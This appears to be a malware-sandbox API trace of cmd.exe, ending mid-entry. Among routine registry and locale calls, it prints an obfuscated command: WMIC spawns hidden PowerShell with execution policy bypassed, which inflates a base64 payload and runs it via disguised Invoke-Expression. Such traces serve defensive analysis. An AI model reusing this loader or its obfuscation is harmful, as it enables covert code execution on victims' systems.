GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0086.775] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.776] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.776] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ef788 | out: phkResult=0x2ef788*=0x0) returned 0x2 [0086.776] VirtualQuery (in: lpAddress=0x2ef770, lpBuffer=0x2ef6f0, dwLength=0x30 | out: lpBuffer=0x2ef6f0*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.776] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef6f0, dwLength=0x30 | out: lpBuffer=0x2ef6f0*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.776] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef6f0, dwLength=0x30 | out: lpBuffer=0x2ef6f0*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.776] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2ef6f0, dwLength=0x30 | out: lpBuffer=0x2ef6f0*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.776] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef6f0, dwLength=0x30 | out: lpBuffer=0x2ef6f0*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.776] GetConsoleOutputCP () returned 0x1b5 [0086.776] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0086.776] SetConsoleCtrlHandler (HandlerRoutine=0x49d73184, Add=1) returned 1 [0086.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0086.777] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0086.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0086.777] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0086.777] _get_osfhandle (_FileHandle=1) returned 0x7 [0086.777] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0086.777] _get_osfhandle (_FileHandle=0) returned 0x3 [0086.777] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0086.778] GetEnvironmentStringsW () returned 0x6a020* [0086.778] FreeEnvironmentStringsW (penv=0x6a020) returned 1 [0086.778] GetEnvironmentStringsW () returned 0x6a020* [0086.779] FreeEnvironmentStringsW (penv=0x6a020) returned 1 [0086.779] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee648 | out: phkResult=0x2ee648*=0x44) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x18, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x1, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x1, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x0, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x40, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x40, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x40, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.779] RegCloseKey (hKey=0x44) returned 0x0 [0086.779] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee648 | out: phkResult=0x2ee648*=0x44) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x40, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x1, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x1, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x0, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x9, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.779] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x4, lpData=0x2ee660*=0x9, lpcbData=0x2ee644*=0x4) returned 0x0 [0086.780] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee640, lpData=0x2ee660, lpcbData=0x2ee644*=0x1000 | out: lpType=0x2ee640*=0x0, lpData=0x2ee660*=0x9, lpcbData=0x2ee644*=0x1000) returned 0x2 [0086.780] RegCloseKey (hKey=0x44) returned 0x0 [0086.780] time (in: timer=0x0 | out: timer=0x0) returned 0x5bdac711 [0086.780] srand (_Seed=0x5bdac711) [0086.780] GetCommandLineW () returned="cmd , , /r ,%q4j:\"\"=\"%" [0086.780] GetCommandLineW () returned="cmd , , /r ,%q4j:\"\"=\"%" [0086.780] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0086.780] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6feb0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0086.780] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0086.780] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.780] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0086.780] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.780] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0086.780] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0086.781] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0086.781] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0086.781] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0086.781] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0086.781] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0086.781] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0086.781] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0086.781] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef450 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0086.781] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef450, lpFilePart=0x2ef430 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x2ef430*="Desktop") returned 0x19 [0086.781] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0086.781] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef160 | out: lpFindFileData=0x2ef160) returned 0x700c0 [0086.781] FindClose (in: hFindFile=0x700c0 | out: hFindFile=0x700c0) returned 1 [0086.781] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x2ef160 | out: lpFindFileData=0x2ef160) returned 0x700c0 [0086.781] FindClose (in: hFindFile=0x700c0 | out: hFindFile=0x700c0) returned 1 [0086.782] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x2ef160 | out: lpFindFileData=0x2ef160) returned 0x700c0 [0086.782] FindClose (in: hFindFile=0x700c0 | out: hFindFile=0x700c0) returned 1 [0086.782] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0086.782] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0086.782] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0086.782] GetEnvironmentStringsW () returned 0x6a020* [0086.782] FreeEnvironmentStringsW (penv=0x6a020) returned 1 [0086.782] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0086.783] GetConsoleOutputCP () returned 0x1b5 [0086.783] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0086.783] GetUserDefaultLCID () returned 0x409 [0086.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49d87b50, cchData=8 | out: lpLCData=":") returned 2 [0086.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef560, cchData=128 | out: lpLCData="0") returned 2 [0086.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef560, cchData=128 | out: lpLCData="0") returned 2 [0086.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef560, cchData=128 | out: lpLCData="1") returned 2 [0086.783] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49d9a740, cchData=8 | out: lpLCData="/") returned 2 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49d9a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49d9a460, cchData=32 | out: lpLCData="Tue") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49d9a420, cchData=32 | out: lpLCData="Wed") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49d9a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49d9a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49d9a360, cchData=32 | out: lpLCData="Sat") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49d9a700, cchData=32 | out: lpLCData="Sun") returned 4 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d87b40, cchData=8 | out: lpLCData=".") returned 2 [0086.784] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49d9a4e0, cchData=8 | out: lpLCData=",") returned 2 [0086.784] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0086.785] GetConsoleTitleW (in: lpConsoleTitle=0x6a090, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0086.785] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0086.785] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0086.785] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0086.786] GetEnvironmentVariableW (in: lpName="q4j", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="WMIC.exe pRoCESs 'CAll' 'cReAte' \"\"poWerSHell -NOniNtErac -noPROFIlE -NoLogO -ExECUt bYpaSS -wINDOws hidDen & ( $pSHoMe[21]+$PshoME[34]+'X')( \"\"\\\"\"(nEw-object Io.cOMpressioN.DefLatesTReaM([sysTem.IO.MEMoRYSTREam] [COnvERT]::fRombase64sTrING('VZBba8IwGIb/SpAOEremtR5AixfaqfNGZQoblCJp+00zkqa02Wx1/vfFwy52+7zfe+ArmUApCAC0gIO9jD8h0f4oTe1NnQOyR2UJMhb1gklAjXVdapD0uWAHnu0avhWw4c38X6FjriXLMf5L1vQN4kBwyDShyxyyV2Apbuy1zsuB43DJdlB6lMtdrCqaKOl0PaftOsH05bg8rjpbRXNTSIhvQVHcO8e1hjBCXsd1fexS2iY/D6cPVQBL9tiqEM8utNvvE3Kyvr/E0MylM9ArXoEwB0/W9pYXWttmz3UfrSoa4lAyvY8Gg6lQqsD4YqRjO2ZZ2uqSZqtH7NjwK56hK0dGIOezP5+84/D+iA1Umk6yRKXmHSZttA7m80v5WheG4GutWee57U5EyC8=')\"\"\\\"\" + ([ChAr]44).ToSTRIng() + \"\"\\\"\"[IO.CoMpRESsiON.COmPRESsIoNModE]::dECOmPreSs ) | foREach-objECt{nEw-object SYsTEM.Io.stReAMREADeR( `$_\"\"\\\"\" + ([ChAr]44).ToSTRIng() + \"\"\\\"\"[systEM.tExt.eNcODiNG]::aSCiI)}| fOREacH-objECT {`$_.rEadToend() })| &( `$psHOMe[21]+`$PSHOME[30]+'x')\"\"\\\"\" ) \"\"") returned 0x3b2 [0086.786] _wcsnicmp (_String1="WM", _String2="\"\"", _MaxCount=0x2) returned 85 [0086.786] _wcsnicmp (_String1="MI", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.786] _wcsnicmp (_String1="IC", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.786] _wcsnicmp (_String1="C.", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.786] _wcsnicmp (_String1=".e", _String2="\"\"", _MaxCount=0x2) returned 12 [0086.786] _wcsnicmp (_String1="ex", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.786] _wcsnicmp (_String1="xe", _String2="\"\"", _MaxCount=0x2) returned 86 [0086.786] _wcsnicmp (_String1="e ", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.786] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1=" p", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1="pR", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.786] _wcsnicmp (_String1="Ro", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.786] _wcsnicmp (_String1="oC", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.786] _wcsnicmp (_String1="CE", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.786] _wcsnicmp (_String1="ES", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.786] _wcsnicmp (_String1="Ss", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.786] _wcsnicmp (_String1="s ", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.786] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1=" '", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1="'C", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.786] _wcsnicmp (_String1="CA", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.786] _wcsnicmp (_String1="Al", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.786] _wcsnicmp (_String1="ll", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.786] _wcsnicmp (_String1="l'", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.786] _wcsnicmp (_String1="' ", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.786] _wcsnicmp (_String1=" '", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.786] _wcsnicmp (_String1="'c", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.786] _wcsnicmp (_String1="cR", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.787] _wcsnicmp (_String1="Re", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.787] _wcsnicmp (_String1="eA", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.787] _wcsnicmp (_String1="At", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.787] _wcsnicmp (_String1="te", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.787] _wcsnicmp (_String1="e'", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.787] _wcsnicmp (_String1="' ", _String2="\"\"", _MaxCount=0x2) returned 5 [0086.787] _wcsnicmp (_String1=" \"", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.787] _wcsnicmp (_String1="\"\"", _String2="\"\"", _MaxCount=0x2) returned 0 [0086.787] _wcsnicmp (_String1="po", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.787] _wcsnicmp (_String1="oW", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.787] _wcsnicmp (_String1="We", _String2="\"\"", _MaxCount=0x2) returned 85 [0086.787] _wcsnicmp (_String1="er", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.787] _wcsnicmp (_String1="rS", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.787] _wcsnicmp (_String1="SH", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.787] _wcsnicmp (_String1="He", _String2="\"\"", _MaxCount=0x2) returned 70 [0086.787] _wcsnicmp (_String1="el", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.787] _wcsnicmp (_String1="ll", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.787] _wcsnicmp (_String1="l ", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.787] _wcsnicmp (_String1=" -", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.787] _wcsnicmp (_String1="-N", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.787] _wcsnicmp (_String1="NO", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.787] _wcsnicmp (_String1="On", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.787] _wcsnicmp (_String1="ni", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.787] _wcsnicmp (_String1="iN", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.787] _wcsnicmp (_String1="Nt", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.787] _wcsnicmp (_String1="tE", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.787] _wcsnicmp (_String1="Er", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.787] _wcsnicmp (_String1="ra", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.787] _wcsnicmp (_String1="ac", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.787] _wcsnicmp (_String1="c ", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.787] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.787] _wcsnicmp (_String1=" -", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1="-n", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.788] _wcsnicmp (_String1="no", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.788] _wcsnicmp (_String1="oP", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.788] _wcsnicmp (_String1="PR", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.788] _wcsnicmp (_String1="RO", _String2="\"\"", _MaxCount=0x2) returned 80 [0086.788] _wcsnicmp (_String1="OF", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.788] _wcsnicmp (_String1="FI", _String2="\"\"", _MaxCount=0x2) returned 68 [0086.788] _wcsnicmp (_String1="Il", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.788] _wcsnicmp (_String1="lE", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.788] _wcsnicmp (_String1="E ", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.788] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1=" -", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1="-N", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.788] _wcsnicmp (_String1="No", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.788] _wcsnicmp (_String1="oL", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.788] _wcsnicmp (_String1="Lo", _String2="\"\"", _MaxCount=0x2) returned 74 [0086.788] _wcsnicmp (_String1="og", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.788] _wcsnicmp (_String1="gO", _String2="\"\"", _MaxCount=0x2) returned 69 [0086.788] _wcsnicmp (_String1="O ", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.788] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1=" -", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1="-E", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.788] _wcsnicmp (_String1="Ex", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.788] _wcsnicmp (_String1="xE", _String2="\"\"", _MaxCount=0x2) returned 86 [0086.788] _wcsnicmp (_String1="EC", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.788] _wcsnicmp (_String1="CU", _String2="\"\"", _MaxCount=0x2) returned 65 [0086.788] _wcsnicmp (_String1="Ut", _String2="\"\"", _MaxCount=0x2) returned 83 [0086.788] _wcsnicmp (_String1="t ", _String2="\"\"", _MaxCount=0x2) returned 82 [0086.788] _wcsnicmp (_String1=" b", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.788] _wcsnicmp (_String1="bY", _String2="\"\"", _MaxCount=0x2) returned 64 [0086.788] _wcsnicmp (_String1="Yp", _String2="\"\"", _MaxCount=0x2) returned 87 [0086.788] _wcsnicmp (_String1="pa", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.788] _wcsnicmp (_String1="aS", _String2="\"\"", _MaxCount=0x2) returned 63 [0086.788] _wcsnicmp (_String1="SS", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.788] _wcsnicmp (_String1="S ", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.789] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1=" -", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1="-w", _String2="\"\"", _MaxCount=0x2) returned 11 [0086.789] _wcsnicmp (_String1="wI", _String2="\"\"", _MaxCount=0x2) returned 85 [0086.789] _wcsnicmp (_String1="IN", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.789] _wcsnicmp (_String1="ND", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.789] _wcsnicmp (_String1="DO", _String2="\"\"", _MaxCount=0x2) returned 66 [0086.789] _wcsnicmp (_String1="Ow", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.789] _wcsnicmp (_String1="ws", _String2="\"\"", _MaxCount=0x2) returned 85 [0086.789] _wcsnicmp (_String1="s ", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.789] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1=" h", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1="hi", _String2="\"\"", _MaxCount=0x2) returned 70 [0086.789] _wcsnicmp (_String1="id", _String2="\"\"", _MaxCount=0x2) returned 71 [0086.789] _wcsnicmp (_String1="dD", _String2="\"\"", _MaxCount=0x2) returned 66 [0086.789] _wcsnicmp (_String1="De", _String2="\"\"", _MaxCount=0x2) returned 66 [0086.789] _wcsnicmp (_String1="en", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.789] _wcsnicmp (_String1="n ", _String2="\"\"", _MaxCount=0x2) returned 76 [0086.789] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1=" ", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1=" &", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1="& ", _String2="\"\"", _MaxCount=0x2) returned 4 [0086.789] _wcsnicmp (_String1=" (", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1="( ", _String2="\"\"", _MaxCount=0x2) returned 6 [0086.789] _wcsnicmp (_String1=" $", _String2="\"\"", _MaxCount=0x2) returned -2 [0086.789] _wcsnicmp (_String1="$p", _String2="\"\"", _MaxCount=0x2) returned 2 [0086.789] _wcsnicmp (_String1="pS", _String2="\"\"", _MaxCount=0x2) returned 78 [0086.789] _wcsnicmp (_String1="SH", _String2="\"\"", _MaxCount=0x2) returned 81 [0086.789] _wcsnicmp (_String1="Ho", _String2="\"\"", _MaxCount=0x2) returned 70 [0086.789] _wcsnicmp (_String1="oM", _String2="\"\"", _MaxCount=0x2) returned 77 [0086.789] _wcsnicmp (_String1="Me", _String2="\"\"", _MaxCount=0x2) returned 75 [0086.789] _wcsnicmp (_String1="e[", _String2="\"\"", _MaxCount=0x2) returned 67 [0086.789] _wcsnicmp (_String1="[2", _String2="\"\"", _MaxCount=0x2) returned 57 [0086.789] _wcsnicmp (_String1="21", _String2="\"\"", _MaxCount=0x2) returned 16 [0086.790] _wcsnicmp (_String1="1]", _String2="\"\"", _MaxCount=0x2) returned 15 [0086.790] _wcsnicmp (_String1="]+", _String2="\"\"", _MaxCount=0x2) returned 59 [0086.791] _wcsnicmp 